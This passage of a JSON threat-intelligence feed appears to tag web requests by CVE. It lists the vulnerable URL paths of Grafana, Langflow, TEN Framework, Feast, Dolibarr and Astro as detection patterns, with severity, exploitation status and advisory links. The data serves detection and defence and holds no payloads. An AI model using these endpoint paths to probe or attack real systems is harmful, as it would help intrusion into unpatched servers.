Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins","reference_urls":["https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p","https://nosec.org/home/detail/4914.html","https://github.com/jas502n/Grafana-VulnTips","https://nvd.nist.gov/vuln/detail/CVE-2021-43798","http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html"],"kev_date_added":"2025-10-09"},{"tag_id":"CVE-2026-33017","tag_type":"cve","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","reference_urls":[],"kev_date_added":"2026-03-25"},{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"],"kev_date_added":null},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"],"kev_date_added":null},{"tag_id":"CVE-2026-89013","tag_type":"cve","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php","reference_urls":["https://github.com/Faceless0x7/CVE-2026-89013","https://github.com/Dolibarr/dolibarr/commit/cd05688dbed8a4af6eef32faf4fc1e823a37bce9","https://github.com/Dolibarr/dolibarr/commit/a8bc4a63e1b6356884abcd83c4a38954d9649b0b","https://github.com/Dolibarr/dolibarr/commit/3bd8aa8b909e596d7dab4388d0466ec24e6ad191","https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1"],"kev_date_added":null},{"tag_id":"CVE-2024-56159","tag_type":"cve","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","reference_urls":["https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr","https://nvd.nist.gov/vuln/detail/CVE-2024-56159"],"kev_date_added":null}],"data_as_of":"2026-10-16T07:03:45.598622+00:00"}